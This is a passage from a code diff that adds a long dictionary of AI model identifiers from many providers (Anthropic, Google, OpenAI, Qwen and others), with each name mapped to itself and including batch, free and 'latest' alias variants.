'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 